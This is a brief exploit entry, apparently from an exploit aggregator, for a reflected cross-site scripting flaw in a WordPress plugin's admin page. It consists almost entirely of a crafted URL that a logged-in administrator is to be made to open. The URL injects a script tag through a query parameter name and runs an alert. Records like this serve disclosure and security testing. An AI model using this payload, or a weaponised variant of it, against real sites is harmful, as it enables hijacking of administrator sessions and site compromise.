## https://sploitus.com/exploit?id=WPEX-ID:89570379-769B-4684-B8A7-28C37B408E5D Make a logged in admin open https://example.com/wp-admin/admin.php?page=wpcode&a"><script>alert(/XSS/)</script>=2